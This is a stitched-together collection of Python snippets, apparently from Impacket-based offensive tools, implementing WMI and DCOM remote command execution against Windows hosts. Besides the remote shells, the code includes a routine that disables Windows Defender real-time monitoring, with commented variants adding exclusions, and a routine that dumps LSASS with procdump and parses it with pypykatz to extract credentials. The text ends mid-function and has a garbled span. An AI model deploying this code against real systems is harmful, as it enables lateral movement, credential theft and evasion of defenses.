if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' try: dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL) if options.rpc_auth_level == 'privacy': iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) elif options.rpc_auth_level == 'integrity': iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) iWbemLevel1Login.RemRelease() shell = WMIQUERY(iWbemServices) if options.file is None: shell.cmdloop() else:
class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True #This checks to see if we didn't provide the LM Hash if hashes is not None: if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' dialect = smbconnection.getDialect() if dialect == SMB_DIALECT: logging.debug("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.debug("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.debug("SMBv2.1 dialect used") else: logging.debug("SMBv3.0 dialect used") self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) try: iInterface = self.__dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject('Win32_Process') except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.execute_handler(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = '' def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): if self.__retOutput: #self.disable_notifications() self.disable_defender() try: self.execute_fileless(data) except: self.cd('\\') self.execute_remote(data) else: #self.disable_notifications() self.disable_defender() self.execute_remote(data) def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('wmi Executing_remote command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket( ).getsockname()[0] commandData = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format( local_ip, self.__share_name, self.__output) #commandData = data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, # self.__share_name, # self.__output) #adding creds gets past systems disallowing guest-auth # cmd.exe /Q /c "net use \\10.10.33.200\CAJKY /savecred /p:no /user:agrande User!23 & cmd.exe /Q /c whoami 1> \\10.10.33.200\CAJKY\QYkvxb 2>&1 command = self.__shell + '"net use * /d /y & ' command += self.__shell + 'net use \\\\{}\\{} /savecred /p:no /user:{} {} & {} "'.format( local_ip, self.__share_name, self.__username, self.__password, commandData) #command += 'net use \\\\{}\\{} /savecred /p:no /user:{} {}"'.format(local_ip, # self.__share_name, # self.__username, # self.__password # ) logging.debug('wmi Executing_fileless command: {}'.format(command)) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open((cfg.TMP_PATH / self.__output), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(5) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = '' return while True: try: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output) def disable_notifications(self): """ Cant figure out how to make these apply at runtime?? https://www.tenforums.com/tutorials/105486-enable-disable-notifications-windows-security-windows-10-a.html Maybe just stop the notification service? """ command = self.__shell + """"FOR /F %a IN ('REG.EXE QUERY hku 2^>NUL ^| FIND ^"HKEY_USERS^"') DO REG.EXE add ^"%a\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Windows.SystemToast.SecurityAndMaintenance^" /v ^"Enabled^" /d ^"0^" /t REG_DWORD /F" """ logging.debug('notifications being disabling using: ' + command) self.__win32Process.Create(command, self.__pwd, None) print(' [!] Sleeping while notifications are disabled [!] ') time.sleep(4) def disable_defender(self): command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Set-MpPreference -DisableRealtimeMonitoring $true;"' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Add-MpPreference -ExclusionExtension ".exe""' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Add-MpPreference -ExclusionProcess $pid"' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Add-MpPreference -ExclusionPath $env:temp"' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Add-MpPreference -ExclusionExtension ".ps1""' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Set-MpPreference -DisableIOAVProtection 1"' logging.debug('wmi Disabling Defender using: ' + command) self.__win32Process.Create(command, self.__pwd, None) print( ' [!] Sleeping to allow defender process to finish shutting down[!] ' ) time.sleep(8) #################################################################################################### #################################################################################################### # Shell Stuff #################################################################################################### #################################################################################################### def run(self, addr, dummy): self.shell = None logging.debug('inside wmishell.run') try: self.shell = RemoteShell(self.__share, self.__win32Process, self.__smbconnection) self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if self.__smbconnection is not None: self.__smbconnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) try: if self.__smbconnection is not None: self.__smbconnection.logoff() dcom.disconnect() except (Exception, KeyboardInterrupt) as e: logging.debug('Error: {}'.format(e))
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) ## todo: ## Check OS 32 bit or 64 bit ## #cmmand = "wmic os get OSArchitecture" ### This is super hacky ### self.shell.do_put(PROC_PATH) command = "procdump64.exe -ma -accepteula lsass lsass.%s.dmp" % (addr) self.shell.onecmd(command) self.shell.do_get("lsass.%s.dmp"%(addr)) self.shell.onecmd("del procdump64.exe") command = "del lsass.%s.dmp" % (addr) self.shell.onecmd(command) ### but it still works ### #raw_input("Press ENTER to continue") print(os.popen("pypykatz lsa minidump lsass.%s.dmp"%(addr)).read()) if True: pass elif self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:"******"WQL> %s" % line, shell.onecmd(line) iWbemServices.RemRelease()
class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.execute_handler(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print self.__outputBuffer self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = '' def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): if self.__retOutput: try: self.execute_fileless(data) except: self.cd('\\') self.execute_remote(data) else: self.execute_remote(data) def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = '' return while True: try: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)
class WMIEXEC: def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = '\\' + gen_random_string(6) self.__outputBuffer = '' self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') def execute(self, command, output=False): self.__retOutput = output try: if self.__retOutput: self.__smbconnection.setTimeout(100000) self.cd('\\') self.execute_remote(command) self.__dcom.disconnect() return self.__outputBuffer except Exception as e: traceback.print_exc() self.__dcom.disconnect() def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print self.__outputBuffer self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' def execute_remote(self, data): command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' self.__win32Process.Create(command, self.__pwd, None) self.get_output() def get_output(self): if self.__retOutput is False: self.__outputBuffer = '' return def output_callback(data): self.__outputBuffer += data while True: try: self.__smbconnection.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait sleep(1) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: remoteHost = str(addr) print(remoteHost + ": starting WMI") iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) print(remoteHost + ": deploying " + self.scanobj.surveyfile) self.shell.do_cd(self.scanobj.tgtdestdirectory) self.shell.do_put(self.scanobj.surveyfile) for reqFile in self.scanobj.requiredfiles: self.shell.do_put(reqFile) print(remoteHost + ": uploading " + reqFile) destsurveyfile = self.scanobj.surveyfile[self.scanobj.surveyfile. rfind("/") + 1:] print(remoteHost + ": executing " + destsurveyfile) self.shell.onecmd("powershell -ep bypass ./" + destsurveyfile + " -verbose") print(remoteHost + ": getting results") f = self.shell.do_get("SurveyResults.xml") os.rename(f, "results/SurveyResults-" + addr + ".xml") self.shell.onecmd("del " + destsurveyfile + " SurveyResults.xml") fh = open("log/" + addr + ".txt", 'wb') fh.write(self.shell.get_alloutput()) fh.close() print(remoteHost + ": finished") self.__outputBuffer = u'' except (Exception, KeyboardInterrupt), e: import traceback traceback.print_exc() logging.error(str(e)) fh = open("log/" + addr + ".txt", 'wb') fh.write(str(e)) fh.close() if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
class DCOMEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None, killDefender=False, logger=None, output=False): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = None self.__share = share self.__share_name = share_name self.__noOutput = output self.__kdcHost = None self.__aesKey = None self.__doKerberos = False self.__retOutput = True self.__dcomObject = 'MMC20' self.__smbconnection = smbconnection self.__target = target self.logger = logger self.dcom = None print('a{}'.format(self.__noOutput)) self.shell = None if hashes is not None: if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__noOutput is False: smbConnection = self.__smbconnection if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None self.dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) logging.debug('in execute: ShellWindows') iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document', )) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) logging.debug('in execute: ShellBrowserWindow') iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] elif self.__dcomObject == 'MMC20': logging.debug('in execute: MMC20') iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) logging.debug('in execute: iDocument = IDispatch') if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) logging.debug('in execute: MMC20 - 2') iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] self.shell = RemoteShellMMC20( self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ShellExecute', ))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() self.dcom.disconnect() sys.stdout.flush() sys.exit(1) def getInterface(self, interface, resp): # Now let's parse the answer and build an Interface instance objRefType = OBJREF(b''.join(resp))['flags'] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: objRef = OBJREF_CUSTOM(b''.join(resp)) elif objRefType == FLAGS_OBJREF_HANDLER: objRef = OBJREF_HANDLER(b''.join(resp)) elif objRefType == FLAGS_OBJREF_STANDARD: objRef = OBJREF_STANDARD(b''.join(resp)) elif objRefType == FLAGS_OBJREF_EXTENDED: objRef = OBJREF_EXTENDED(b''.join(resp)) else: logging.error("Unknown OBJREF Type! 0x%x" % objRefType) return IRemUnknown2( INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], target=interface.get_target())) def execute(self, command, output=False): self.__command = command if self.__command != ' ': logging.debug('Trying onecmd: {}'.format(self.__command)) #store OG stdout a, b, c = sys.stdout, sys.stdin, sys.stderr #switch stdout to our 'buffer' buff = open(cfg.TEST_PATH, "w") sys.stdout, sys.stdin, sys.stderr = buff, buff, buff self.shell.onecmd(self.__command) # switch back to normal sys.stdout, sys.stdin, sys.stderr = a, b, c buff.close() if self.shell is not None: self.shell.do_exit(' ') #logging.debug('after exit') else: logging.debug('before cmdloop') self.shell.cmdloop() if self.__smbconnection is not None: self.__smbconnection.logoff() if self.dcom is not None: try: logging.debug('be4 disconnect') #self.dcom.disconnect() #hangs forever? logging.debug('after disconnect') except: pass with open(cfg.TEST_PATH, 'r') as file: data = file.read() return data def run(self, addr, dummy): """ starts interactive shell """ logging.debug('inside dcomshell.run') try: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if self.__smbconnection is not None: self.__smbconnection.logoff() self.dcom.disconnect() sys.stdout.flush() sys.exit(1) try: if self.__smbconnection is not None: self.__smbconnection.logoff() #self.dcom.disconnect() #hangs forever? except (Exception, KeyboardInterrupt) as e: logging.debug('Error: {}'.format(e))
def exec(self, command): if not super().exec(command): return False self.dcom = DCOMConnection(self.session.address, self.session.username, self.session.password, self.session.domain, self.session.lmhash, self.session.nthash, self.session.aesKey, oxidResolver=True, doKerberos=self.session.kerberos, kdcHost=self.session.dc_ip) try: iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] self.__quit = (iMMC, pQuit) self.__executeShellCommand = (iActiveView, pExecuteShellCommand) except Exception as e: logging.debug("Error : {}".format(e), exc_info=True) self.clean() dispParams = DISPPARAMS(None, False) dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 4 dispParams['cNamedArgs'] = 0 arg0 = VARIANT(None, False) arg0['clSize'] = 5 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = self.__shell arg1 = VARIANT(None, False) arg1['clSize'] = 5 arg1['vt'] = VARENUM.VT_BSTR arg1['_varUnion']['tag'] = VARENUM.VT_BSTR arg1['_varUnion']['bstrVal']['asData'] = self.__pwd arg2 = VARIANT(None, False) arg2['clSize'] = 5 arg2['vt'] = VARENUM.VT_BSTR arg2['_varUnion']['tag'] = VARENUM.VT_BSTR arg2['_varUnion']['bstrVal']['asData'] = command arg3 = VARIANT(None, False) arg3['clSize'] = 5 arg3['vt'] = VARENUM.VT_BSTR arg3['_varUnion']['tag'] = VARENUM.VT_BSTR arg3['_varUnion']['bstrVal']['asData'] = '7' dispParams['rgvarg'].append(arg3) dispParams['rgvarg'].append(arg2) dispParams['rgvarg'].append(arg1) dispParams['rgvarg'].append(arg0) self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': return self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: # filename = '$ADMIN\Temp\{}'.format(OUTPUT_FILENAME) filename = '$C\Windows\Temp\{}'.format(OUTPUT_FILENAME) # Delete outfile if self.shell: output_callback = '' # print("Cleaning up output file: {}. Please don't Ctrl+C me.".format(filename)) for _ in xrange(10): try: self.shell._RemoteShell__transferClient.deleteFile( self.shell._RemoteShell__share, self.shell._RemoteShell__output) break except KeyboardInterrupt: try: print( "Pressing Ctrl+C again might leave a file on disk: {}" .format(filename)) time.sleep(1) continue except KeyboardInterrupt: break except Exception, e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(1) pass if str(e).find('BAD_NETWORK_NAME') >= 0: print(str(e)) break else: # print str(e) time.sleep(1) pass else: print("Error: Timeout - {} might be left on disk".format( filename))
def tes_activation(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLoginClientID) dcom.disconnect()
def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None): self.__host = host self.__username = username self.__password = password self.__smbconnection = smbconnection self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share_name = share_name self.__output = None self.__outputBuffer = b'' self.__shell = 'c:\\windows\\system32\\cmd.exe' self.__pwd = 'C:\\' self.__quit = None self.__executeShellCommand = None self.__retOutput = True if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, None, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, 